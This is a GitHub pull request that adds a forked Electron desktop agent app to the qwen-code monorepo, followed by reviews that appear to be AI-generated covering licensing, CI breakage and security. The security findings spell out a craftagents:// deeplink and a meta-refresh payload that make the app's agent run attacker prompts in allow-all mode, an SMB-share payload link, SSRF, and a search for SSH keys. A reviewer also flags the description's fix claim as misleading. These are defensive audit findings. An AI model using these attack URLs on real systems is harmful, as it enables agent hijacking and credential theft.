feat(desktop): Add desktop app package with Qwen ACP SDK integration

[DragonnZhang]

Summary

• What changed: Adds the packages/desktop/ package (Craft/Claude Desktop fork) into the monorepo and integrates Qwen ACP SDK for skill discovery, session management, and context usage. Also fixes undici type usage and excludes the desktop package from the root npm workspace to isolate its builds.
• Why it changed: The desktop app needs to coexist in the monorepo for shared code and unified development, but must be excluded from root workspace to avoid dependency conflicts (desktop uses bun, monorepo uses npm). The ACP SDK integration replaces hardcoded model/provider logic with dynamic discovery.
• Reviewer focus: The workspace exclusion in package.json, the DispatchHandler → DispatchHandlers type fix in network-proxy.ts, and the overall structure of packages/desktop/.

Validation

• Commands run:

  cd packages/desktop && bun install && bun run electron:dev

Scope / Risk

• Main risk or tradeoff: Large diff (~324k lines, 1495 files) from the desktop package addition. The desktop package is excluded from root workspace so npm/bun conflicts should not occur.
• Not covered / not validated: Desktop app Electron build/run on Windows/Linux; integration tests for the desktop package
• Breaking changes / migration notes: packages/desktop is excluded from root npm workspace (!packages/desktop in package.json workspaces). This means npm install from root will not hoist desktop dependencies.

Screenshots / Video Demo

Testing Matrix

	🍏	🪟	🐧
npm run	✅	⚠️	⚠️
npx	⚠️	⚠️	⚠️
Docker	⚠️	⚠️	⚠️
Podman	⚠️	N/A	N/A
Seatbelt	⚠️	N/A	N/A

Testing matrix notes:

• macOS npm run build verified ✅
• Windows/Linux not tested in this PR

Linked Issues / Bugs

No linked issues.

---

🤖 Generated with Qwen Code

[github-advanced-security]

CodeQL found more than 20 potential problems in the proposed changes. Check the Files changed tab for more details.

[wenshao]

Took a careful pass on this PR. Direction is fine — qwen-code can have a desktop client — but the current shape has several things that need to be sorted before we merge.

Overview

This PR adds 1,497 files / ~325k additions to the qwen-code monorepo. The actual content is the entirety of "Craft Agents" by Craft Docs Ltd. (per packages/desktop/NOTICE: "Craft Agents — Copyright 2026 Craft Docs Ltd."), placed at packages/desktop/ and excluded from the root npm workspace via a one-line negation. Only two existing files in the repo are actually modified — package.json (one line) and package-lock.json (one cosmetic line).

The PR description bills this as adding a "desktop app package with Qwen ACP SDK integration." In practice it's a wholesale code-drop of an external project with light Qwen rewiring, co-located in qwen-code's repo but otherwise architecturally independent.

Critical issues

1. Trademark policy is violated by the PR itself

The PR commits packages/desktop/TRADEMARK.md verbatim, which states forks must:

• Choose a different name that does not include "Craft"
• Remove or replace all Craft logos and icons
• Update the bundle identifier (e.g., com.lukilabs.craft-agent) to your own
• Remove references to craft.do domains unless connecting to official Craft services

But this PR keeps:

• name: "craft-agent" in packages/desktop/package.json
• appId: com.lukilabs.craft-agent, productName: Craft Agents, and copyright: Copyright © 2026 Craft Docs Ltd. in packages/desktop/apps/electron/electron-builder.yml
• All resources/craft-logos/*.png, resources/icon.icns, resources/icon.ico, resources/Assets.car
• Reference to legal@craft.do in TRADEMARK.md

Apache-2.0 is satisfied (LICENSE + NOTICE preserved); trademark is a separate matter, and the upstream's policy is being broken by the same commit that ships it. This is the blocker that needs clearing before merge — pick a non-"Craft" product name, change the appId, and replace branding assets.

2. PR description doesn't match the change

• "Craft/Claude Desktop fork" — NOTICE/TRADEMARK identify the source as Craft Agents by Craft Docs Ltd. There's no Claude Desktop content. Just call it "Craft Agents (a Craft Docs Ltd. project)".
• "Fixes undici type usage" — packages/desktop/apps/electron/src/main/network-proxy.ts is brand new (all + additions). There's no fix to existing code; the Dispatcher.DispatchHandlers usage is just how the imported file was originally written. The PR title and "Reviewer focus" item are misleading here.
• "Validation: cd packages/desktop && bun install && bun run electron:dev" — only confirms the new package builds. Doesn't validate that qwen-code's existing npm ci / npm run preflight / npm run test:ci still pass.

3. Architectural concern: this is co-location, not integration

The desktop package:

• Is excluded from the npm workspace (!packages/desktop in package.json) — necessary because packages/* would otherwise glob-match it.
• Uses bun, while qwen-code uses npm. Two package managers in one repo, with two lockfiles.
• Has its own husky, eslint, tsconfig, vitest setup — none of which integrate with qwen-code's root lint:all, typecheck, test:ci.
• Imports nothing from qwen-code packages — network-proxy.ts references @craft-agent/shared/*, all internal to the new tree.
• Has its workflows at packages/desktop/.github/workflows/*.yml — GitHub Actions only reads workflows from the repo-root .github/workflows/, so these are dead files.

Practical effect of merging: qwen-code's repo grows by ~325k lines, every git clone pulls all of it, but qwen-code's CI doesn't exercise any of it. Worth weighing whether this should instead be:

• a separate repo under QwenLM (e.g., qwen-code-desktop), or
• a git submodule, or
• a real monorepo integration (one package manager, shared linting, shared CI, real package-to-package imports).

A wholesale dump into the existing monorepo is the highest-cost option of the three.

4. Bundled artifact committed as source

packages/desktop/apps/electron/resources/bridge-mcp-server/index.js is 18,276 lines of bundled JS. Almost certainly a build output, not source. Should be generated at build time, not checked in. Same risk likely applies to other generated files I haven't enumerated.

5. package-lock.json change looks accidental

The patch removes "peer": true from a darwin-only optional dependency entry (lines 12842–12843). Unrelated to "exclude desktop from workspace" — looks more like a side-effect of running npm install after editing package.json. Either revert it or note it explicitly; silent lockfile drift is hard to audit later.

Smaller observations

• packages/desktop/README.md says bun run electron:start, but the validation block in the PR body uses electron:dev. Pick one.
• packages/desktop/package.json pins "@agentclientprotocol/sdk": "^0.21.0", but qwen-code's root has no shared ACP version pin. Drift between qwen-code's ACP usage and desktop's ACP usage will go undetected.
• qwen-code's root lint:all runs node scripts/lint.js. Worth confirming this script doesn't recurse into packages/desktop (bun-only subtree, eslint flat config, .cjs rule files, etc.).
• The desktop tree contains its own LICENSE, CODE_OF_CONDUCT.md, SECURITY.md, CONTRIBUTING.md. Contributors landing there from the root will get confused. Either let root files govern, or add a brief sub-README explaining the divergence.
• 248 test files were imported but only run via bun test from inside packages/desktop/. They will not block qwen-code releases — make this explicit in CONTRIBUTING ("desktop tests are not gated by qwen-code CI").
• License headers: qwen-code uses eslint-plugin-license-header. With !packages/desktop excluded from workspace, root eslint won't reach in — but if lint.js does direct file walks, the new tree will trip on header violations.
• Sub-package licenses: each nested package.json (e.g. packages/desktop/apps/electron/package.json) likely carries its own author/license fields. Worth a quick pass to confirm nothing non-Apache slipped in.

What I'd want to see before merge

1. Resolve trademark: rename craft-agent to something non-"Craft", update appId, replace logos/icons, drop craft.do references. Keep NOTICE for Apache attribution.
2. Decide co-location vs. separate repo / submodule. If keeping in-repo, add a top-level note in qwen-code's README pointing at it and clarifying it's bun-managed and excluded from npm.
3. Don't commit bridge-mcp-server/index.js; generate it at build time.
4. Remove the dead packages/desktop/.github/workflows/*.yml, or move them to root with a path filter (paths: ['packages/desktop/**']).
5. Fix the PR description: name the actual upstream (Craft Agents), drop the "fixes undici types" claim (it isn't a fix), and add real validation steps showing qwen-code's existing build/test is unaffected.
6. Confirm the package-lock.json peer: true removal is intentional.
7. Either wire the desktop tests into root test:ci, or document explicitly that they're out of scope for qwen-code CI.

Summary

The integration concept is fine — qwen-code can have a desktop client. But this PR as it stands is a 1.5k-file branding-intact code drop that violates its own committed trademark policy, ships a bundled JS artifact, has dead-file workflows, and the description is misleading. The core blocker is #1 (trademark); the rest is fixable cleanup.

中文版本

仔细看了一下这个 PR。整体方向我没意见——qwen-code 完全可以有桌面客户端——但当前形态有几个问题需要在合并前先处理。

概览

这个 PR 向 qwen-code monorepo 添加了 1,497 个文件 / 约 32.5 万行新增。实际内容是 Craft Docs Ltd. 的 "Craft Agents" 项目的整体代码(见 packages/desktop/NOTICE:"Craft Agents — Copyright 2026 Craft Docs Ltd."),被放在 packages/desktop/ 目录下,并通过一行 negation 规则从 npm workspace 中排除。仓库中实际只修改了两个已有文件——package.json(一行)和 package-lock.json(一行无关变更)。

PR 描述把这次改动包装成"添加桌面应用 + Qwen ACP SDK 集成"。但实际上是把一个外部项目整体搬运进来,做了少量 Qwen 相关接线,与 qwen-code 共仓但架构上完全独立。

关键问题

1. PR 自身违反了它一同提交的商标政策

PR 原样提交了 packages/desktop/TRADEMARK.md,文件中明确写着 fork 必须:

• 选择一个不包含 "Craft" 的名字
• 删除或替换所有 Craft 标志和图标
• 更新 bundle identifier(例如 com.lukilabs.craft-agent)
• 移除对 craft.do 域名的引用,除非是连接到官方 Craft 服务

但这个 PR 仍然保留:

• packages/desktop/package.json 中 name: "craft-agent"
• packages/desktop/apps/electron/electron-builder.yml 中 appId: com.lukilabs.craft-agent、productName: Craft Agents、copyright: Copyright © 2026 Craft Docs Ltd.
• 所有 resources/craft-logos/*.png、resources/icon.icns、resources/icon.ico、resources/Assets.car
• TRADEMARK.md 中对 legal@craft.do 的引用

Apache-2.0 许可本身满足了(LICENSE + NOTICE 都保留了);但商标是另一回事,而且违反的恰好是这次 PR 一并提交的上游政策。这一项是合并前必须先清理掉的核心阻断——选一个不含 "Craft" 的产品名,改 appId,替换品牌资源。

2. PR 描述与实际内容不符

• "Craft/Claude Desktop fork"——NOTICE/TRADEMARK 文件清楚地表明源头是 Craft Docs Ltd. 的 Craft Agents,与 Claude Desktop 没有任何关系。直接写 "Craft Agents (a Craft Docs Ltd. project)" 即可。
• "Fixes undici type usage"——packages/desktop/apps/electron/src/main/network-proxy.ts 是全新文件(全部是 + 新增)。根本没有"修复"任何已有代码;Dispatcher.DispatchHandlers 的类型用法只是被搬运过来的原始写法。PR 标题和 "Reviewer focus" 的这一项有误导性。
• "Validation: cd packages/desktop && bun install && bun run electron:dev"——这只能证明新包能跑起来,无法证明 qwen-code 现有的 npm ci / npm run preflight / npm run test:ci 仍然正常。

3. 架构问题:这是"共仓",不是"集成"

桌面包的现状:

• 通过 package.json 中的 !packages/desktop 从 npm workspace 排除——之所以需要这一行,是因为 packages/* glob 会匹配到它。
• 用 bun,而 qwen-code 用 npm。一个仓库里有两个包管理器、两份 lockfile。
• 自带 husky、eslint、tsconfig、vitest 配置——没有任何一项接入 qwen-code 根目录的 lint:all、typecheck、test:ci。
• 没有从 qwen-code 包中导入任何东西——network-proxy.ts 中所有导入都来自 @craft-agent/shared/*,即新目录树内部。
• workflow 文件被放在 packages/desktop/.github/workflows/validate-server.yml 和 validate.yml,但 GitHub Actions 只会读仓库根目录的 .github/workflows/,所以这两个文件等同于死文件。

合并的实际后果是:qwen-code 仓库膨胀 32.5 万行,以后每次 git clone 都要拉这些代码,但 qwen-code 的 CI 一点都不会跑到它们。值得先权衡一下是否应该改成:

• 独立仓库(例如 QwenLM 下的 qwen-code-desktop),或
• git submodule,或
• 真正的 monorepo 集成(单一包管理器、共享 lint、共享 CI、包之间真实互相依赖)。

把整棵树直接塞进现有 monorepo,代价是几个方案里最高的。

4. 把构建产物当作源码提交

packages/desktop/apps/electron/resources/bridge-mcp-server/index.js 是 18,276 行的打包 JS。这几乎肯定是构建产物,不是源码,应该在构建时生成,而不是入库。其它没逐一核对的文件也可能有同样的问题。

5. package-lock.json 的改动看起来是误操作

补丁把一个 darwin-only 可选依赖项中的 "peer": true 删掉了(行 12842–12843)。这与"把 desktop 排除出 workspace"无关,更像是改完 package.json 后跑 npm install 的副产物。要么回退,要么说明原因——lockfile 静默漂移以后很难审计。

其他观察

• packages/desktop/README.md 写的是 bun run electron:start,但 PR 描述的验证命令是 electron:dev。两边应当统一。
• packages/desktop/package.json 锁定了 "@agentclientprotocol/sdk": "^0.21.0",但 qwen-code 根目录没有共享的 ACP 版本约束——qwen-code 主体和 desktop 的 ACP 版本一旦漂移,谁都发现不了。
• qwen-code 根 package.json 中 lint:all 是 node scripts/lint.js。需要确认这个脚本不会递归进入 packages/desktop(那是 bun-only 的子树,有 eslint flat config、.cjs 规则文件等)。
• desktop 子树自带 LICENSE、CODE_OF_CONDUCT.md、SECURITY.md、CONTRIBUTING.md。从 qwen-code 根目录过来的贡献者会被这些文件搞混。考虑要么以根目录文件为准,要么在子目录加一个简短的 README 解释差异。
• 搬过来 248 个测试文件,但只能在 packages/desktop 内通过 bun test 跑,不会拦住 qwen-code 的发版。CONTRIBUTING 里要明确写"desktop 测试不属于 qwen-code CI 门禁"。
• 新文件的 license header:qwen-code 使用 eslint-plugin-license-header。!packages/desktop 把根目录 eslint 的扫描挡掉了——但如果 lint.js 是直接 walk 文件,新树里大概率会冒出大量 header 缺失告警。
• 子包的 license 字段:每个嵌套的 package.json(例如 packages/desktop/apps/electron/package.json)可能各自带 author/license,值得快速过一遍确认没有混入非 Apache 的条目。

合并前我希望看到的条件

1. 解决商标问题:把 craft-agent 重命名为不含 "Craft" 的名字,更新 appId,替换 logo/图标,移除 craft.do 引用。NOTICE 保留以满足 Apache 署名。
2. 决定共仓 vs. 独立仓库 / submodule。如果坚持共仓,在 qwen-code 顶层 README 加一段说明:此目录使用 bun 管理,已排除在 npm workspace 之外。
3. 不要把 bridge-mcp-server/index.js 入库,改为构建时生成。
4. 删除失效的 packages/desktop/.github/workflows/*.yml,或者把它们挪到根目录并加 path 过滤(paths: ['packages/desktop/**'])。
5. 修正 PR 描述:写清楚上游真实名称(Craft Agents),撤掉"修复 undici 类型"这一项(它根本不是修复),补充对 qwen-code 现有 build/test 不受影响的验证步骤。
6. 确认 package-lock.json 中 peer: true 的移除是有意为之。
7. 要么把 desktop 测试接入根 test:ci,要么在文档里明确写它不在 qwen-code CI 范围内。

总结

集成方向本身没问题——qwen-code 完全可以有桌面客户端。但当前这个 PR 是一次"保留品牌的 1497 文件代码倾倒",违反了它自己一同提交的商标政策,带着打包好的 JS 产物,有死文件 workflow,描述还有误导。核心阻断是 第 1 点(商标);其余都是可以清理的细节问题。

---

🤖 Generated with Claude Code — Claude Opus 4.7 (1M context)

[wenshao]

[Critical] GET_FILES, WATCH_FILES, GET_NOTES, and SET_NOTES resolve only by global sessionId and never verify that the caller's ctx.workspaceId owns that session. Any authenticated workspace client that learns another session ID can list its files, watch changes, or read/overwrite notes.md. Resolve sessions through a helper that enforces session.workspaceId === ctx.workspaceId before returning the session path.

— gpt-5.5 via Qwen Code /review

[wenshao]

[Critical] The WebSocket handshake stores envelope.workspaceId and webContentsId directly in the ClientConnection, and many handlers later trust ctx.workspaceId or request workspace parameters. Any client with the server token can declare an arbitrary workspace identity and operate on other workspace-scoped resources. Bind authenticated clients to an allowed workspace set server-side, validate every workspace parameter against that binding, and do not trust handshake identity alone.

— gpt-5.5 via Qwen Code /review

[wenshao]

[Critical] server:invokeOnServer IPC SSRF — renderer can connect to any WebSocket URL and invoke any RPC channel

The renderer provides url, token, and channel with zero validation. A compromised renderer can probe internal network services and invoke arbitrary RPC methods on remote servers (e.g., sessions:export to exfiltrate session data).

Suggested change

	ipcMain.handle('server:invokeOnServer', async (_event, url: string, token: string, channel: string, ...args: unknown[]) => {
	ipcMain.handle('server:invokeOnServer', async (_event, url: string, token: string, channel: string, ...args: unknown[]) => {
	// Validate URL scheme and reject private/internal IPs
	try {
	const parsed = new URL(url)
	if (!['ws:', 'wss:'].includes(parsed.protocol)) {
	throw new Error(`Blocked non-WebSocket scheme: ${parsed.protocol}`)
	}
	// Optionally: reject RFC 1918 / link-local / cloud metadata IPs
	} catch { throw new Error(`Invalid URL: ${url}`) }
	// Optionally: validate channel against an allowlist of safe RPC methods
	const { connectToRemote } = await import('./handlers/workspace')
	const { client, error } = await connectToRemote(url, token)
	if (!client) throw new Error(error ?? 'Connection failed')
	try {
	return await client.invoke(channel, ...args)
	} finally {
	client.destroy()
	}
	})

— glm-5.1 via Qwen Code /review

[wenshao]

[Critical] before-quit async re-entry race — second quit not prevented

When isQuitting = true on re-entry, event.preventDefault() is NOT called. Electron ignores async return values and will proceed to quit without waiting for async cleanup (sessionManager.flushAllSessions(), messagingHandle.dispose()) to complete. This can cause data loss on slow machines or when flushing large sessions.

Suggested change

	if (isQuitting) return
	if (isQuitting) { event.preventDefault(); return }

— glm-5.1 via Qwen Code /review

[wenshao]

[Suggestion] CLIENT_OPEN_EXTERNAL capability handler has no URL scheme validation

The preload registers shell.openExternal(url) as a bare passthrough. While today's callers check isSafeExternalUrl(), the capability handler itself has no defense-in-depth. On macOS, shell.openExternal can open file:/// URLs (launching arbitrary executables) and protocol handlers like smb:// that trigger network authentication.

Suggested change

	client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => shell.openExternal(url))
	client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => {
	try {
	const parsed = new URL(url)
	if (!['http:', 'https:'].includes(parsed.protocol)) {
	throw new Error(`Blocked non-HTTP URL scheme: ${parsed.protocol}`)
	}
	} catch { throw new Error(`Invalid URL: ${url}`) }
	return shell.openExternal(url)
	})

— glm-5.1 via Qwen Code /review

[wenshao]

[Suggestion] Bridge MCP Server SSRF — baseUrl + agent-provided path without origin validation

executeApiTool fetches from config.baseUrl + user-provided path without verifying the final URL's origin matches the configured base. If baseUrl points to an internal service (e.g., http://169.254.169.254), the bridge server fetches with authentication credentials attached.

Suggested change

	const finalUrl = new URL(url);
	const baseOrigin = new URL(config2.baseUrl).origin;
	if (finalUrl.origin !== baseOrigin) {
	throw new Error(`Request target ${finalUrl.origin} does not match configured base ${baseOrigin}`);
	}

— glm-5.1 via Qwen Code /review

[wenshao]

[Suggestion] Window state deserialization has no bounds validation

loadWindowState() reads JSON from disk but only checks Array.isArray(state.windows). The bounds field (x, y, width, height) is passed directly to BrowserWindow.setBounds() without range validation. A corrupted window-state.json could create windows off-screen or with extreme dimensions, effectively soft-locking the app on launch.

Suggested change

	if (!Array.isArray(state.windows)) {
	if (!Array.isArray(state.windows)) {
	return null
	}
	// Clamp bounds to reasonable screen coordinates
	for (const win of state.windows) {
	if (win.bounds) {
	win.bounds.width = Math.min(Math.max(win.bounds.width, 400), 3840)
	win.bounds.height = Math.min(Math.max(win.bounds.height, 300), 2160)
	win.bounds.x = Math.min(Math.max(win.bounds.x, -1920), 3840)
	win.bounds.y = Math.min(Math.max(win.bounds.y, -1080), 2160)
	}
	}

— glm-5.1 via Qwen Code /review

[wenshao]

Additional review (second pass on top of @wenshao's existing review)

Not duplicating @wenshao's 12 inline comments and top-level summary. Inline comments below add NEW classes of issue. This body lists pipeline-breakage findings whose anchor files are not part of this PR's diff (so they can't be inline).

---

Critical — CI / build pipeline breakage (root cause shared with @wenshao's package.json:15 comment)

!packages/desktop was added to package.json workspaces, but the same exclusion is missing from every other root-level tool. Verified by running each tool against the worktree:

1. eslint.config.js ignores array missing 'packages/desktop/**' — npx eslint . --ext .ts,.tsx --max-warnings 0 from root exits 1 with ~2400 errors. Breaks npm run lint:ci (ci.yml Run ESLint, release.yml Run Lint, npm run preflight). Fix: add 'packages/desktop/**' to the ignores array.

2. .prettierignore missing packages/desktop/ — npx prettier --check packages/desktop reports 1204 files would be reformatted by root prettier config. npm run format (release.yml Format Project) silently rewrites them in-place; lint-staged rewrites them on every contributor commit; scripts/lint.js --prettier (ci.yml Run Prettier) rewrites on every CI run. Fix: add packages/desktop/ to .prettierignore.

3. .yamllint.yml ignore block missing 'packages/desktop/' — yamllint produces ~232 errors across desktop's 5 yaml files (mostly [quoted-strings] violations in issue templates and electron-builder.yml). Breaks ci.yml Run yamllint. Fix: append 'packages/desktop/' to the ignore list.

4. scripts/lint.js shellcheck pipeline picks up ~17 desktop scripts via git ls-files | grep -v '^integration-tests/terminal-bench/' | xargs shellcheck (with --severity=style --enable=all). Likely fails ci.yml Run shellcheck. Fix: add | grep -v '^packages/desktop/' to the chain.

5. Husky pre-commit blocks contributors editing desktop ts/tsx — lint-staged runs eslint --fix --max-warnings 0 --no-warn-ignored; --no-warn-ignored is a no-op until eslint actually ignores desktop. Verified: npx eslint --fix packages/desktop/apps/cli/src/client.test.ts → 4 errors, exit 1. Fixed automatically by #1.

6. Nightly release workflow (.github/workflows/release.yml Format Project + Run Lint steps) — same root cause as #1+#2; halts on next cron firing.

Nice to have — CI scope bloat

• Dockerfile + .dockerignore — COPY . copies the full ~325k-line desktop tree (including bun.lock, electron resources, bundled bridge-mcp-server/index.js) into the builder. Final image stage uses only *.tgz, so runtime image unaffected — but build context upload + builder cache layers grow by hundreds of MB. Fix: add packages/desktop to .dockerignore.

• CodeQL scope (.github/workflows/ci.yml codeql job has no paths-ignore) — now scans 1500+ desktop JS/TS files plus the 18,276-line bundled bridge-mcp-server/index.js. Already mirrored by the @github-advanced-security[bot] comment ("CodeQL found more than 20 potential problems"). Fix: add a codeql-config.yml with paths-ignore: ['packages/desktop/**'] (or at minimum the bundled bridge-mcp-server) referenced from the init step.

---

Audit summary

2 forward + 1 reverse audit rounds across 5 dispatched agents (correctness, security, test coverage, build/CI integration, undirected gap-finder). Each Critical finding traces to a concrete attack chain or verified pipeline break, not theoretical concern. Specifically NOT re-reported (already in @wenshao's review): callback-page.ts XSS, bootstrap.ts TLS verify, bootstrap.ts shell.openExternal capability handlers, thumbnail-protocol.ts path traversal, workspace.ts READ/WRITE_IMAGE caller-supplied workspaceId, url-safety.ts blocklist quality, package.json:15 globbing root cause, build-dmg.sh stale 0.15.2, runtime-resolver.ts:188 home-dir lookup, utils.ts:99 validateFilePath, sessions.ts:406 sessionId authz, server.ts:545 ws handshake trust, trademark policy, bundled bridge-mcp-server, dead packages/desktop/.github/workflows/, lockfile drift, bun-vs-npm split.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Critical] Deeplink craftagents://action/new-session?send=true&mode=yolo&input=… is one-click prompt-injection RCE.

parsePermissionMode('yolo') → 'allow-all' (packages/desktop/packages/shared/src/agent/mode-types.ts:81); craftagents:// is OS-registered via app.setAsDefaultProtocolClient('craftagents') (packages/desktop/apps/electron/src/main/index.ts:218,222). A single click on <a href="craftagents://action/new-session?input=<attacker-prompt>&send=true&mode=yolo&workdir=/tmp&systemPrompt=…"> from any webpage launches the app and runs the agent in allow-all mode — bypass-all confirmations, attacker-chosen workdir/model/system prompt, auto-send (line 793 electronAPI.sendMessage(session.id, parsed.params.input!, …)).

Impact: Cross-origin webpage → arbitrary local code execution via the agent's Bash/file-write tools. craftagents://action/delete-session/{id} (line 840-844) similarly destroys sessions with no confirmation.

Fix: Reject mode=allow-all/mode=yolo (and any escalation beyond default) from deeplink params unconditionally. For send=true, require an in-app confirmation modal showing workspace/mode/full prompt before any auto-send. Same gate for destructive actions (delete-session, flag-session).

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Critical] Embedded browser pane re-triggers craftagents:// deeplinks → zero-click RCE chain on top of the deeplink RCE in NavigationContext.tsx:759.

Both pageWc.on('will-navigate') (line 3013-3018) and setWindowOpenHandler (line 3030-3033) recognize craftagents:// URLs and route them to this.handleDeepLinkUrl(url) (defined at line 2050), which dispatches the same handleDeepLink as the OS-level open-url/second-instance handler. A page rendered in the agent's browser can issue <meta http-equiv="refresh" content="0;url=craftagents://action/new-session?mode=yolo&send=true&input=…"> or window.location='…' and have it dispatched as a fully privileged deep link with no user gesture, no consent, no origin check.

Impact: Zero-click full agent takeover from any visited page. The browser pane is exactly the surface most exposed to prompt injection (the agent is steered into visiting URLs).

Fix: Deny craftagents:// here rather than handle it. Deep links should only be processed when they arrive via app.on('open-url') (macOS) or app.on('second-instance') (Win/Linux) — both originate outside the running app.

Suggested change

	pageWc.on('will-navigate', (event, url) => {
	pageWc.on('will-navigate', (event, url) => {
	if (url.startsWith(CRAFT_DEEPLINK_SCHEME_PREFIX)) {
	event.preventDefault()
	mainLog.warn(`[browser-pane] denied in-pane deeplink id=${instance.id} url=${url}`)
	// Do NOT dispatch handleDeepLinkUrl from in-app webcontents — RCE chain.
	}
	})

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Critical] Permission handler grants media, geolocation, notifications, clipboard-read, idle-detection, pointerLock, window-management to any origin with no consent UI.

setupSessionPermissions builds a static allowlist (line 2772-2782) and setPermissionCheckHandler/setPermissionRequestHandler return true whenever the requested permission is in this set — origin-agnostic, no per-origin allowlist, no revoke. The agent's browsing capability lets it navigate to any URL (navigate(id, url) at line 683), so a single visit silently captures camera/mic, reads geolocation, accesses the clipboard.

Impact: Any site the agent visits during research/automation can call navigator.mediaDevices.getUserMedia(), navigator.geolocation.getCurrentPosition(), navigator.clipboard.read() and get an immediate "granted" without surfacing a prompt. With prompt-injection-driven navigation, this turns the desktop app into a covert surveillance tool. More permissive than mainstream browsers (which require explicit per-origin user grants for these).

Fix: Default-deny media, geolocation, clipboard-read, notifications for agent-driven navigations. Persist per-origin grants in workspace storage and prompt via dialog.showMessageBox only on first explicit user-typed/clicked navigation. The non-sensitive subset (fullscreen, pointerLock) can stay always-allowed.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Critical] shell.openExternal() called with no scheme check — isSafeExternalUrl() is not invoked at all on this path.

Lines 180-183 unconditionally open any URL the renderer requests; lines 186-195 (will-navigate) likewise pass non-internal URLs straight to shell.openExternal(url). @wenshao's existing comment at url-safety.ts:40 covered the quality of the blocklist for the RPC shell.OPEN_URL path; here, the dangerous-scheme blocklist (url-safety.ts:17) is never consulted.

Impact: Renderer-side XSS (e.g. via the SVG sanitizer XSS noted at icon-cache.ts:709) or even an agent tool-output rendering a clickable file:///vscode:///smb:// link triggers shell.openExternal with the attacker URL. On Windows, shell.openExternal('file://attacker-share/payload.exe') triggers SMB hash exfil + arbitrary code launch.

Fix:

Suggested change

	shell.openExternal(details.url)
	// Open external links in default browser
	window.webContents.setWindowOpenHandler((details) => {
	if (isSafeExternalUrl(details.url)) {
	shell.openExternal(details.url)
	} else {
	mainLog.warn(`[window] denied unsafe openExternal url=${details.url}`)
	}
	return { action: 'deny' }
	})
	// Handle external navigation attempts from renderer WebContents
	window.webContents.on('will-navigate', (event, url) => {
	// Allow navigation within the app (file:// in prod, localhost dev server)
	const isInternalUrl = url.startsWith('file://') ||
	(VITE_DEV_SERVER_URL && url.startsWith(VITE_DEV_SERVER_URL))
	if (!isInternalUrl) {
	event.preventDefault()
	if (isSafeExternalUrl(url)) {
	shell.openExternal(url)
	} else {
	mainLog.warn(`[window] denied unsafe will-navigate url=${url}`)
	}
	}
	})

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Critical] RPC_CHANNELS.fs.SEARCH is REMOTE_ELIGIBLE (packages/desktop/packages/shared/src/protocol/routing.ts:276) but accepts any caller-supplied basePath with no workspace validation. _ctx is unused, no validateFilePath(), no getWorkspaceAllowedDirs(), no workspaceId check.

Distinct class from @wenshao's #5 (READ_IMAGE/WRITE_IMAGE use a caller-supplied workspaceId then startsWith containment) and his #11 (GET_FILES/WATCH_FILES resolve by global sessionId): here, the protocol has no workspaceId at all.

Impact: A remote thin-client (or local-renderer-via-XSS chain with window-manager.ts:181 + icon-cache.ts:709) can call searchFiles('/', 'id_rsa') and receive matching paths anywhere on the server filesystem. Locate ~/.ssh/id_rsa, ~/.aws/credentials, id_*.kdbx, etc. by name even outside the active workspace. The 50-result cap doesn't help — attacker issues many narrow queries.

Fix: Resolve ctx.workspaceId (refuse if missing); validate basePath is contained within getWorkspaceAllowedDirs(workspaceId) via validateFilePath before any readdir. The skip-list of dot-files / node_modules-style dirs is not access control.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Suggestion] Missing implicit loopback bypass — embedded server traffic can leak through corporate proxy.

Neither side auto-bypasses 127.0.0.1/localhost/::1:

• Electron side: buildElectronProxyConfig builds proxyBypassRules only from splitCommaSeparated(settings.noProxy) (line 160-162). Chromium does not auto-add loopback when an explicit bypass list is set.
• Node side: ProtocolProxyDispatcher.dispatch (line 50-73) consults only parseNoProxyRules/shouldBypassProxy (network-proxy-utils.ts:75-110).

The embedded RPC server runs at ws://127.0.0.1:<port> (packages/desktop/packages/server-core/src/transport/server.ts) carrying a bearer token. With a corporate/MITM proxy and no explicit localhost,127.0.0.1 in noProxy, those handshakes (and any fetch() from main to the embedded server) traverse the proxy.

Impact: Embedded server's WebSocket auth token + RPC payloads (session bundles, file paths, in-message secrets) leak to the configured proxy.

Fix: Always prepend loopback rules. Electron: proxyBypassRules: ['<-loopback>', settings.noProxy].filter(Boolean).join(';') (Chromium's <-loopback> literal disables the implicit-loopback override). Node: in parseNoProxyRules, fold an implicit 127.0.0.1, localhost, ::1, *.localhost so loopback is always treated as bypassed regardless of user input. Add a test that confirms 127.0.0.1 is bypassed regardless of noProxy content.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Suggestion] Bad-proxy-URL credentials may leak via Sentry on TypeError.

new ProxyAgent(opts.httpProxy) (line 44-45) is called synchronously inside the dispatcher constructor, which runs from applyConfiguredProxySettings() at startup (line 170, typically invoked as void applyConfiguredProxySettings()). When the persisted URL is malformed (e.g. legacy stored config like http://user:pass@bad[), undici's internal new URL(opts.uri) throws TypeError: Invalid URL whose .input property contains the raw URL — credentials included. The rejection lands in the global unhandledRejection handler → Sentry.captureException(reason) serializes the entire Error, including non-standard input field.

Impact: Proxy credentials embedded in a malformed URL exfiltrated to Sentry on every app launch.

Fix: In ProtocolProxyDispatcher's constructor, wrap each new ProxyAgent(...) in try/catch; on failure, log a redacted message (strip userinfo via URL parsing) and treat the proxy as unset. Or pre-validate via validateProxyUrl(...) (already imported by the renderer settings UI) inside applyConfiguredProxySettings before constructing the dispatcher.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Suggestion] ProtocolProxyDispatcher class has zero tests.

Existing __tests__/network-proxy.test.ts only covers parseNoProxyRules/shouldBypassProxy from the sibling utils file — none of the dispatch routing, ?? fall-through (HTTPS URL with httpsProxy=null falling back to httpProxy), HTTP-only branch (which intentionally must NOT use httpsProxy), or close()/destroy() lifecycle is asserted.

Bug classes uncovered:

1. HTTP-to-HTTPS proxy mis-routing — line 64-66 chooses by url?.startsWith('https:'). A regression that defaults to httpsProxy when URL is undefined would send HTTP requests through HTTPS-only proxy (auth header leak / 502s).
2. Resource leak across reconfigure — currentProxyDispatcher.close().catch(() => {}) (line 98) is fire-and-forget; if close() no longer cascades to all three underlying agents, sockets accumulate every time the user toggles proxy settings.
3. NO_PROXY bypass becomes unreachable — if branch order changes, NO_PROXY entries get silently ignored.

